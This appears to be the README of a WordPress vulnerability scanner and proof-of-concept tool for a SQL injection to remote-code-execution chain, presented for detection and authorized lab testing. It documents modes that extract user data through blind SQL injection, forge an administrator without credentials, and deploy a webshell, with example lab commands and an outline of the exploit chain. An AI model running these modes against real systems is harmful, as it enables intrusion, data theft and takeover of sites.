wp2shell-scanner

Detection and validation tooling for WordPress core exposure to wp2shell (CVE-2026-63030 / CVE-2026-60137). Modes are selected with a flag, and the target is positional. --scan fingerprints the core version and confirms the REST /batch/v1 route is reachable without sending an exploit payload; the --check/--read/--shell/--rce/--root-prereq modes are the validation PoC for authorized lab use.

wp2shell.py is a single, standard-library-only script — no external dependencies. Every invocation prints a ZephrSec banner to stderr before it runs (it stays off stdout, so --scan -j JSON output is unaffected).

Command flags

Exactly one mode flag is required; the target is positional (a URL for every mode, or a host list for --scan).

Synopsis

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Mode flags (pick one)

Flag	What it does
--scan	Non-destructive exposure check: version fingerprint + confirms the REST /batch/v1 route is reachable. No exploit payload sent.
--check	Confirms blind time-based SQLi with a harmless differential probe.
--read	Extracts data via blind SQLi (a preset or a raw SQL scalar expression).
--shell	Authenticated RCE chain using a cracked/recovered admin password.
--rce	Credential-less pre-auth RCE: forges its own admin through the SQLi, then deploys a self-cleaning webshell.
--root-prereq	Benign shell-to-root prerequisite check; runs diagnostics only, never a local privilege escalation.

Option flags

Flag	Applies to	What it does
-f, --file	--scan	Read hosts from a file (one per line; # comments skipped).
-j, --json	--scan	Emit results as JSON on stdout.
-t, --threads	--scan	Scan concurrency (default 10).
--prefix	--check/--read	DB table prefix (default wp_).
--delay	--check/--read	Injected SLEEP seconds for the timing oracle (default 0.15).
--repeats	--check/--read	Median over N probes per bit; raise on noisy links (default 1).
--preset	--read	Built-in target: version, database, db_user, users, siteurl (default users).
--expr	--read	Raw SQL scalar expression to extract (overrides --preset).
--max-len	--read	Maximum extracted string length (default 128).
--user	--shell/--root-prereq	Admin username to log in as (default admin).
--password	--shell/--root-prereq	Plaintext admin password (crack the hash from --read; required for these modes).
--cmd	--shell/--rce	Command to run on the target (default id).
-i, --interactive	--shell/--rce	Interactive web command loop instead of a single command.
--no-cleanup	--shell/--rce	Leave the dropped plugin/webshell in place (lab only).
-y, --yes	--shell/--rce/--root-prereq	Skip the interactive authorization prompt (for automation).
--sleep	--rce	Injected SLEEP seconds for pre-auth SQLi detection (default 4).
--rounds	--rce	Median over N probes for --rce detection (default 3).
--route	--rce	Batch route form: auto, rest-route, or wp-json (default auto).
--proxy	--rce	Route requests through an HTTP proxy, e.g. Burp at http://127.0.0.1:8080.
--authorized	--rce	Assert authorization for a non-loopback --rce target (required for remote hosts).
--timeout	all	Per-request timeout in seconds (default 15).

Deep dive blog post: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Nuclei template

nuclei -t wp2shell-exposure.yaml -u https://target

Scan (non-destructive)

Single host, multiple hosts, or a file.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Options: -f/--file hosts file (one per line), -j/--json JSON output, -t/--threads concurrency (default 10).

Validation PoC

The --check/--read/--shell/--rce/--root-prereq modes send live exploit payloads. Run them only against the bundled localhost lab, or other systems you own and are explicitly authorized to test. --shell and --rce perform remote code execution and are intended for the lab/authorized targets; --rce on a non-loopback host requires --authorized. --root-prereq uses the same token-gated diagnostic plugin to check shell-to-root prerequisites, but it does not run a local privilege escalation.

--shell needs a recovered/cracked admin password. --rce is the credential-less pre-auth chain: it forges its own administrator through the SQLi (oEmbed → changeset → re-entrant parse_request), then deploys the webshell — no password required.

--shell, --rce, and --root-prereq prompt for interactive y/N authorization before any code-execution payload is sent (they abort on a non-interactive/EOF stdin). Pass -y/--yes to skip the prompt for automation against the lab or an authorized target.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'

Patch diffs used to ground the PoC are saved under poc/diffs/, with research notes in poc/RESEARCH.md. The SQLi is fully reconstructable from the author__not_in fix. The credential-less --rce chain (oEmbed → changeset → re-entry → admin creation) reproduces the stock-default RCE against the bundled lab; --shell is the alternate path via a recovered/cracked admin credential to authenticated plugin upload and command execution.